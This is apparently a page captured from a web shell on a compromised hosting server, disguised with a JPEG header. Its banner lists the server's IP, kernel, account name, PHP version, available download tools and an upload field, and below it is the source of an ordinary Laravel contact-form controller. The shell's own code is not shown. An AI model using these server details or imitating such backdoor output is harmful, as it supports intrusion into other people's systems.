����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.118.253.134 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/ |
Upload File : |
<?php namespace App\Http\Controllers; use App\Config; use App\Mail\Contactus; use Illuminate\Http\Request; use Illuminate\Support\Facades\Mail; class ContactController extends Controller { public function contact() { return view('contact'); } public function send(Request $request) { $request->validate([ 'name' => 'required', 'email' => 'required|regex:/^.+@.+$/i', 'subj' => 'required', 'msg' => 'required', ], [ 'name.required' => __('Name cannot be empty'), 'email.required' => __('Email cannot be empty'), 'subj.required' => __('Please choose a subject'), 'msg.required' => __('Message caanot be empty'), ]); $contact = array( 'name' => $request->name, 'email' => $request->email, 'subj' => $request->subj, 'msg' => $request->msg, ); $defaultemail = Config::find(1)->w_email; try{ if(env('MAIL_FROM_ADDRESS') != NULL && env('MAIL_HOST') != NULL && env('MAIL_USERNAME') != NULL && env('MAIL_PASSWORD') != NULL && env('MAIL_DRIVER') != NULL){ Mail::to($defaultemail)->send(new Contactus($contact)); return back()->with('success', __('Sent Succesfully, Thanks for contacting us!')); } }catch(\Exception $e){ return back()->with('danger',$e->getMessage()); } } }